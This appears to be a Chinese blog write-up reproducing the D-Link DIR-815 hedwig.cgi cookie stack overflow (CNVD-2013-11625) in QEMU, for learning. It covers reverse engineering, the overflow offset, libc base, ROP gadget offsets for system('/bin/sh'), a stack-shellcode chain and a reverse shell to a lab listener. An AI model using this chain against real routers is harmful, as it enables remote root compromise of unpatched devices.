CNVD-2013-11625复现记录
CNVD-2013-11625复现记录
记录复现漏洞的学习过程
0x00 漏洞信息
D-Link DIR-645是一款无线路由器设备。
D-Link DIR-645 “post_login.xml”,”hedwig.cgi”,”authentication.cgi” 不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。
0x01 准备工作
固件下载地址:legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/(进去后下载版本最低的 DIR-815_REVA_FIRMWARE_v1.01.ZIP,需要挂梯子)
安装binwalk 的 sasquatch 工具 :IoT环境搭建与固件分析 | 坠入星野的月🌙
IDA插件mipsrop(用于搜寻Mips架构下的gadget):zhefox/MipsROPSeracher-python3: A tool for search MipsROPChain in python3
需要了解到的mips架构下的相关知识:
(注:这里直接搬运了两位师傅博客里的讲解:[CNVD-2013-11625 DIR-815 栈溢出漏洞 | Hexo](https://khighl.github.io/2025/06/11/CNVD-2013-11625 DIR-815 栈溢出漏洞/) 和 CNVD-2013-11625 | 云梦)
mips架构两个很有意思的特性是
在调用叶子函数和非叶子函数时对于寄存器的处理问题
流水线指令集的相关特性,主要体现在“分支延迟效应”和“缓存不一致性”
函数特性
叶子函数
- 当一个函数内部,没有调用其他函数时,这个函数称为叶子函数
- 叶子函数的返回地址在被调用时便存储在$ra中,函数返回时直接通过jr $ra跳回
非叶子函数
- 当一个函数调用了其他函数时,这个函数称为非叶子函数
- 非叶子函数的返回地址会在程序开始(prologue)通过sw被存贮在栈上,在函数结束(epilogue)返回时会通过lw操作将返回地址弹回$ra,再jr $ra返回
- 只有非叶子函数可以通过栈溢出覆盖返回地址
如果在某个函数中使用到了 $s0 ~ $s7中的某些保存寄存器(包括$fp) ,则也会在prologue处保存下来,并在epilogue处取出。
需要注意的是,$s0 ~ $s7, $fp, $sp在栈中存放的地址依次递增,因此,很容易想到,我们可以在栈溢出的同时,顺带着控制到$s0 ~ $s7的值。
或者说,如果某些函数在调用过程中使用了$ *寄存器,它也会先通过sw操作将这些寄存器原本的值存在栈上,在返回时lw恢复寄存器的值
所以通过栈溢出我们不仅可以控制返回地址,还可以控制大量的寄存器。
流水线指令集特性
- 在 MIPS 架构中,当你执行一条 跳转(如 j / jalr)或条件分支(如 beq / bne)指令时,**跳转/分支发生后,**仍然会执行紧接着的下一条指令(也就是那一行代码!),无论是否跳转成功!
- 在 MIPS 架构中,由于其支持 数据缓存(D-Cache) 和 指令缓存(I-Cache),这两个缓存是连个独立的,对内存的映射,当我们将shellcode写入栈中,数据缓存中的内容已经被更新成了我们写入的shellcode,但是指令缓存中的内容仍然是栈中原本的数据,如果此时就跳转会导致shellcode未被执行.保险起见,我们可以调用sleep函数给予这两个缓存足够的时间同步
提取固件:
使用 binwalk -Me 分离出文件系统:
1 | binwalk -Me ./DIR-815A1_FW101SSB03.bin |

我们就会得到一个完整的文件系统

找寻官方说漏洞所在文件”hedwig.cgi”,注意自身的目录所在
1 | find ./ -name "hedwig.cgi" |

发现它仅仅是一个指向上级目录中elf文件的软链接,那就将指向的/htdocs/cgibin拿出来逆向分析

0x02 逆向分析
把cgibin丢进IDA里
在main()里找到hedwig.cgi

进去hedwigcgi_main()之后

它先是读取环境变量REQUEST_METHOD,要求必须是POST请求,如果是,就进入cgibin_parse_request()

cgibin_parse_request()这个函数会使用一参的函数指针对url进行处理,提取出几个环境变量,这几个变量对和栈溢出关系不大,但是不能没有,否则不会进行下去。

接着往下走,就到了sess_get_uid(),这个函数会提取出cookie

将cookie以”=”为界分割为两段,前一段存贮在v2结构体中,后一段存储在v4结构体中

然后比较第一部分是不是”uid”,如果是的话将第二部分拼接到a1中(a1为在main函数中通过sobj_new()创建的结构体,初始内容为空)

返回后,hedwigcgi_main()函数调用了sprintf(),没有检查cookie的长度,这里的string就是v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024,因此,很容易造成缓冲区溢出。

造成了第一次栈溢出,但是我们接着往下看会发现在两个检测后还有一个sprintf的栈溢出,且在这个过程中strings的内容是没有发生变化的,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。
如果要到第二个sprintf的话,就需要过这两个判断:

这第一个判断需要有/var/tmp这个目录,这个在真机上是有的,因此为了更真实地模拟环境,我们需要在解压后得到的文件系统内创建一个/var/tmp文件夹,这样cgibin才能在此路径下创建temp.xml文件用于数据的写入。
第二个判断haystack的值,那我们就看看那里会改动haystack,

其中有四个交叉引用都是对haystack进行lw(加载)操作,只有一处是对它的sw(保存)
说明只有最后一处是对haystack的赋值

只要这个函数被调用,haystack就会被赋值,所以我们现在开始查找对这个函数的交叉引用。
在这判断语句之前,只有cgibin_parse_request()的第一个参数sub_409A6C()中可对其操作:
那就回过头去,再细细分析cgibin_parse_request()的逻辑,主要想法就是去看哪里用到了第一个参数sub_409A6C(),即这里的变量a1
就在这个嵌套循环部分里,会先调用off_42C014[2]也就是sub_403B10()函数


接着进去看sub_403B10()

这里的a4是&v14[12],即CONTENT_TYPE[12],环境变量未被比较的那部分,如果与”x-www-form-urlencoded”相同,则调用sub_402FFC(a1)
到这一步,需要牢记我们的目标是什么,是想要抓住第一个参数sub_409A6C()也就是a1
哪里调用到了我们的sub_409A6C()(也就是a1)我们就往哪里走,所以这一步的条件判断是我们需要满足使其成立的
进一步走到sub_402FFC()后,并没有找到关于a1的调用,但是调用了sub_402B40(),它的参数是对sub_403B10()中的int变量的取地址,那么它
就有可能会访问到sub_403B10()中的其他参数

在sub_402B40()里发现了,对函数指针的调用,其中在sub_402B40()的a1就是sub_403B10()的v11的地址,以此为基址,3为偏移进行了解引用

回到sub_403B10()中观察几个变量的相对位置,会发现sub_402B40()的a1[3]就是sub_403B10()的v14,而sub_402FFC()的第一个参数就是sub_409A6C(),它被赋给了v14

所以到这里我们想要控制全局变量haystack不为0,来绕过检查,只需要满足CONTENT_TYPE=”application/“+”x-www-form-urlencoded”=”application/x-www-form-urlencoded”
那接下来终于顺利走到了栈溢出的部分了

但是在写脚本的时候还要注意的是
在sub_402FFC()中有对POST_content的内容的读取,读取后在sub_402B40(&v11, (int)buf_1, v8)中处理(POST_content读入了buf_1)

这里对POST_content的处理方式与对cookie的处理方式相似,也是初始化了两个结构体,将=前后的内容分别读入两个结构体,然后判断这两个结构体中的内容是否不为空


所以POST_content必须满足^(.+?)=(.+)$
整个 POST_content 必须是 键=值 格式,键和值都不能为空,并且 只允许出现一个等号。
0x03 编写exp
MIPS架构下的栈溢出肯定也是需要通过构造ROP链来getshell的,不过由于MIPS有个特性,即无法开NX保护,这样就有了两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈/bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell。
QEMU 用户级复现
QEMU 用户级层面的漏洞复现不需要进行仿真,但相比之下,需要进行仿真的系统级复现更加直观、更符合现实场景,这里主要是介绍 QEMU 用户级层面的漏洞复现方式
IDA静态分析结束,接下来可以用gdb来调试,顺便验证一下IDA里显示的溢出长度是否正确
首先打开虚拟机的路由器文件系统根目录
生成 2000 个字符的 payload 文件,用来测试 uid 溢出到栈上返回地址所需的字节数:
1 | cyclic 2000 > payload |
创建以下 run.sh 脚本,通过 QEMU 用户模式启动 /htdocs/cgibin 程序:
1 |
|
运行run.sh脚本,此时我们在另一个端口开gdb连接1234端口,即可开始对./htdocs/cgibin进行远程调试
可以看到本机开启了 1234 端口:

然后使用本机的 gdb-multiarch 连接 gdbserver:
1 | gdb-multiarch |

此时我们进入了调试界面,但是发现 QEMU 用户模式连上 pwndbg 时,vmmap 无法看到 libc 的基地址

这个设备是没有开ALSR保护,所以libc固定,我们想要获取libc可以通过查询已经完成延迟绑定的got表计算libc_base

这里找到strcmp的libc真实地址,在路由器文件系统的 /lib 文件夹内,找到其所使用的 libc 文件:libc.so.0
利用 objdump 查找 memset() 函数的偏移地址:
1 | objdump -T ./libc.so.0 | grep strcmp |

则 libc 基地址为:0x3ff6cd10 - 0x34d10 = 0x3ff38000(如果计算结果最后三位不是 000 的话,那就说明算错了)
接下来就是 GDB 执行到 hedwigcgi_main() 函数结束将要返回的地方,观察返回地址来确定溢出的长度:

我直接按c到溢出部分,显示返回地址 0x646b6161 不合法,cyclic -l 得到溢出到返回地址的长度为 1009

向用户态 QEMU 传递 payload 参数
由于 QEMU 用户级复现不需要仿真,我们只需要用 qemu-mipsel-static 运行 /htdocs/cgibin 程序,然后将 payload 作为参数传递
poc 如下:
1. 纯 ROP 链,即构造 system(“/bin/sh”) 来 getshell
这里是system地址末两位是\x00,而sprintf会被\x00截断,因此采用的方法是:读进去system_addr - 1,再找到addiu …, 1的gadget对其操作后再跳转过去。
利用mipsrop(zhefox/MipsROPSeracher-python3: A tool for search MipsROPChain in python3)来寻找所需的gadget
里面的stackfinder()/tail()/system()等选项很便于寻找一些gadget,也可以使用如mipsrop.find(“li .*, 1”)的形式,通过.*进行模糊匹配:

在python栏中输入相关语法查找所需的gadget,这里已经拿到了libc_base,可以在libuClibc-0.9.30.1.so文件里找



exp如下:
1 | from pwn import * |
payload的编写逻辑:
| 覆盖位置 | 写入值 | 含义 |
|---|---|---|
| $s0 | system - 1 | system 地址减 1 |
| $s1 | libc + 0x159F4 | gadget:move $t9, $s0; jalr $t9 |
| $s2 | aaaa(无用) | 占位 |
| $s3 | bin_sh | “/bin/sh”字符串指针 |
| $s4, $s5 | aaaa(无用) | 占位 |
| $s6 | libc + 0x32A98 | gadget:addiu $s0, 1; …; jalr $s1 |
| $s7, $fp | aaaa(无用) | 占位 |
| $ra | libc + 0x13F8C | gadget:move $a0, $s3; …; jalr $s6 |
ROP 链执行流程:
函数返回时,所有寄存器从栈上恢复,然后跳转到 $ra。执行顺序如下:
第一步 → $ra(gadget @ 0x13F8C)
1 | move $a0, $s3 # $a0 = $s3 = "/bin/sh" 地址(设置第一个参数) |
第二步 → $s6(gadget @ 0x32A98)
1 | addiu $s0, 1 # $s0 = (system-1) + 1 = system 的正确地址 |
第三步 → $s1(gadget @ 0x159F4)
1 | move $t9, $s0 # $t9 = $s0 = system() |
此时$a0已经指向 “/bin/sh”,$t9指向 system,于是成功执行 system(“/bin/sh”),拿到 shell。
2. 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用 ret2shellcode,但需要注意 shellcode 中不能存在 b’\x00’ 等字符防止导致 sprintf 被截断)
MIPS 的函数返回用 jr $ra,但 MIPS 有分支延迟槽,而且不能直接跳到栈上执行(需要先把栈地址放到寄存器里再跳转)。所以需要多个 gadget 串联。
第一段 ROP:调用 sleep(1) 刷新缓存
1 | payload += p32(libc_base + 0x436D0) # s1 → gadget: move $t9, $s3; ... jalr $t9 |
执行流程:
- 函数返回时跳到 $ra(0x57E50):li $a0, 1 然后 jalr $s1
- 跳到 $s1(0x436D0):move $t9, $s3 然后 jalr $t9
- 跳到 $s3(0x56BD0):即 sleep(1)
为什么要调用 sleep? MIPS 使用指令缓存(I-cache)和数据缓存(D-cache)。栈上写入的 shellcode 在数据缓存中,指令缓存可能还是旧数据。调用 sleep 会触发内核上下文切换,使 cache 刷新/同步,确保之后跳转到栈上的 shellcode 时执行的是正确的指令。
第二段 ROP:跳转到栈上 shellcode
1 | payload += b'a'*0x18 # sleep 返回后的栈帧填充 |
执行流程:
- sleep 返回后跳到 $ra(0x3B974):addiu $a1, $sp, 0x18(把 $sp+0x18 的地址放入 $a1,这正是 shellcode 在栈上的位置),然后 jalr $s4
- 跳到 $s4(0x37E6C):move $t9, $a1; jalr $t9
- 最终跳到栈上的 shellcode 执行
四、Shellcode:执行 /bin/sh
1 | payload += b'a'*0x18 # 对齐到 $sp+0x18 的位置 |
Shellcode 的汇编逻辑:
1 | slti $a2, $zero, -1 # $a2 = 0(envp = NULL) |
syscall 后面的数字是一个20 位的 code 字段,对比机器码
MIPS syscall 指令的编码格式是:
1 | 000000 [20-bit code] 001100 |
如果用 syscall 0:
1 | 000000 00000000000000000000 001100 |
如果用 syscall 0x40404:
1 | 000000 01000000010000000100 001100 |
EXP:
1 | from pwn import * |
QEMU 系统级复现
环境搭建
通过 busybox 程序查看路由器架构:

首先下载 MIPS32 架构的 QEMU 内核和镜像文件,我这里是通过wegt下载的:
1 | wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta |
注意:
MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像:
- Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序
- Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景
内核镜像文件 vmlinux 有 4kc 和 5kc 两种版本:4kc 为 32 位,5kc 为 64 位
另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件 initrd.img
使用 qemu-system-mipsel 来启动 QEMU 虚拟机,命令如下:
1 | sudo qemu-system-mipsel \ |
启动成功后,账号和密码都是 root:

如果报错:sudo: qemu-system-mipsel: command not found
安装 QEMU 对 MIPS 架构的支持。
1 | sudo apt install qemu-system-mips |

然后配置虚拟网卡,在kali里创建一个 net.sh 脚本,并写入如下内容:
1 |
|
赋予执行权限并运行该脚本:(每次重启 kali 后都需要重新配置一次)
1 | sudo chmod +x net.sh |
如果报错TUNSETIFF: Device or resource busy:
这是最常见的原因。之前启动的 QEMU 虚拟机可能还在后台运行,持有 tap0 的文件描述符:
1 | ps aux | grep qemu |
如果发现有残留的 QEMU 进程,先 kill 掉:
1 | sudo kill -9 <PID> |
或者直接杀掉所有 QEMU 进程:
1 | sudo killall -9 qemu-system-mipsel |
杀掉进程后再清理网络接口
按顺序执行:
1 | sudo ip link set tap0 down |
确认清理干净
1 | ip link show | grep -E "tap|br0" |
如果没有输出,说明已经清理成功。
然后重新运行 net.sh
1 | sudo ./net.sh |

然后这里重启 QEMU 虚拟机:
1 | sudo qemu-system-mipsel \ |
在 QEMU 虚拟机中设置 ip 地址,注意与 tap0 在同一网段:(每次重启 QEMU 虚拟机后都需要重新配置一次)
1 | (root@debian-mipsel) ifconfig eth0 192.168.2.2/24 up |
配置后 QEMU 虚拟机的 ip 地址为 192.168.2.2,测试一下能否与 Kali 的 192.168.2.1 相互 ping 通:

将文件系统打包并通过 scp 命令上传到 QEMU 虚拟机:
1 | tar -czvf DIR-815A1_FW101SSB03_rootfs.tar.gz squashfs-root |

PS:由于之前用户级复现都是在~/…/IOT/CNVD-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root下进行的,所以这里打包文件系统的时候,需要注意把我们自己产生的文件移一下qwq,别一起打包了
如果 scp 命令报错:
1 | Unable to negotiate with 192.168.2.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss |
这表示 SSH 客户端和服务器之间没有匹配的主机密钥类型,通常是因为服务器只支持旧的 ssh-rsa 和 ssh-dss 密钥类型,而 SSH 客户端配置不再接受这些类型的密钥
改用如下命令:
1 | sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/ |
结果接着报错:

再继续使用如下命令,删除旧 key :
1 | sudo ssh-keygen -R 192.168.2.2 |
删除旧 key 后,重新上传:
1 | sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/ |
在 QEMU 虚拟机中解压:
1 | (root@debian-mipsel) tar -xzvf DIR-815A1_FW101SSB03_rootfs.tar.gz |
在路由器文件系统的根目录,新建一个 HTTP 服务的配置文件 http_conf:
因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出
1 | cd squashfs-root |
写入如下内容:
1 | Umask 026 |
在 Kali 虚拟机中新建一个脚本 forwarding.sh,用于开启物理机的网络地址转换(NAT)和 IP 转发(防止后续在 init.sh 脚本中启动 httpd 服务时出现问题),写入如下内容:
1 |
|
在 Kali 中执行该脚本:
1 | sudo chmod +x forwarding.sh |
紧接着,在路由器文件系统的根目录下,继续新建一个 init.sh 脚本:
1 | cd squashfs-root |
写入如下内容:
1 |
|
赋予 init.sh 执行权限,并运行:
1 | chmod +x init.sh |

访问 http://192.168.2.2:4321/hedwig.cgi,可以看到HTTP服务已开启:

直接浏览器访问提示不支持的 HTTP 请求:”unsupported HTTP request”
最后,在退出 QEMU 虚拟机之前,需要先创建一个 fin.sh 脚本:
1 | cd squashfs-root |
写入如下内容:
1 |
|
每次退出 QEMU 虚拟机器之前,都执行一下 fin.sh 脚本,恢复刚刚 init.sh 脚本中更改过的 /etc 文件夹,避免下一次启动 QEMU 时出现问题:
1 | chmod +x fin.sh |
然后这里有两种方法可以来测试我们的poc是否正确
向 QEMU 虚拟机上传 payload
这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell
先把本地的gdbserver传上去

1 | sudo scp -o HostKeyAlgorithms=+ssh-rsa -r gdbserver root@192.168.2.2:~/squashfs-root/ |


在路由器文件系统里,新建一个 run.sh 脚本:
1 |
|
增加执行权限后运行 run.sh:
1 | chmod +x run.sh |
在kali里用 gdb-multiarch 远程连接
1 | target remote 192.168.2.2:6666 |

连接成功后,在main函数下一个断点,c过去就可以通过vmmap看到libc_base=0x77f34000:

- 纯 ROP 链,构造 system(“/bin/sh”) 来 getshell
1 | from pwn import * |
- 通过 shellcode 来 getshell
1 | from pwn import * |
exp中都反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888
为了接收反弹 shell,首先在宿主机开启一个监听:
1 | nc -lvnp 8888 |
两个 poc 脚本之中选择一个,在宿主机上写入 poc.py,然后执行 poc.py 生成 payload
以第一个ROP的exp为例复现

将这个新生成的 payload 文件上传到 QEMU 虚拟机的路由器文件系统根目录下
1 | sudo scp -o HostKeyAlgorithms=+ssh-rsa payload root@192.168.2.2:~/squashfs-root/ |
然后修改一下 run.sh 中的启动命令,因为我们现在不需要 gdbserver 调试了,直接启动 hedwig.cgi 即可:
1 |
|
在 QEMU 虚拟机中运行 run.sh,然后宿主机上会显示已连接,并且可以正常使用 shell 命令查看路由器系统中的内容:


我们就可以以 root 权限来向路由器系统任意写入文件:


you have been pwned!复现到了这最后一步操作,感觉一下就上来了:)
向 httpd 服务发送 HTTP 报文
前面在 http_conf 中配置了如下内容来启动 httpd 服务:
1 | Server { |
于是直接向 192.168.2.2:4321 发送 HTTP 报文
后面操作差不多了
ROP.py
1 | from pwn import * |
shellcode.py
1 | from pwn import * |

最后附上复现学习过程中的参考文章:
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛
[CNVD-2013-11625 DIR-815 栈溢出漏洞 | Hexo](https://khighl.github.io/2025/06/11/CNVD-2013-11625 DIR-815 栈溢出漏洞/)





